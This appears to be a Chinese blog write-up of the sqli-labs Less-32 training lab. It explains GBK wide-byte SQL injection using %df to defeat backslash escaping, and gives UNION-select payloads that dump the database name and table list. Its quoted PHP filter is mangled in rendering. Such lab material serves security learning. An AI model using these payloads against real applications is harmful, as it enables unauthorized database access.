天天看点

sqli-labs less32

#sqli-labs less 32

这关主要是采用宽字节注入

Less-32,33,34,35,36,37 六关全部是针对’和\的过滤,所以我们放在一起来进行讨论。对宽字节注入的同学应该对这几关的 bypass 方式应该比较了解。我们在此介绍一下宽字节注入的原理和基本用法。原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ (转换的函数或者思路会在每一关遇到的时候介绍)。因此我们在此想办法将 ‘ 前面添加的 \ 除掉,一般有两种思路:、%df 吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此事%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的、将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5给注释掉。这也是 bypass 的一种方法

http://192.168.56.101/sqli-labs-master/Less-32/?id=-1%df’union select 1,database(),3–+

这关也是单引号字符型注入,但是从源码可以知道

function check_addslashes($string)

{

$string = preg_replace('/'. preg_quote('\') .'/', "\\\", $string);          //escape any backslash

$string = preg_replace('/'/i', '\'', $string);                               //escape single quote with a backslash

$string = preg_replace('/"/', "\"", $string);                                //escape double quote with a backslash

  



return $string;
           

}

所以我们得解决他们的escape

所以得使用宽字节注入

从开篇的定义,我们可以构造一个

%df’union select 1,user(),3–+

就是用%df吃掉他们会添加的反斜杠\

明白了如何bypass,我们就可以随便构造playload了

http://192.168.56.101/sqli-labs-master/Less-32/?id=-1%df’union select 1,database(),3–+

%df’ union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=database()),3–+

上一篇: sqli-labs less21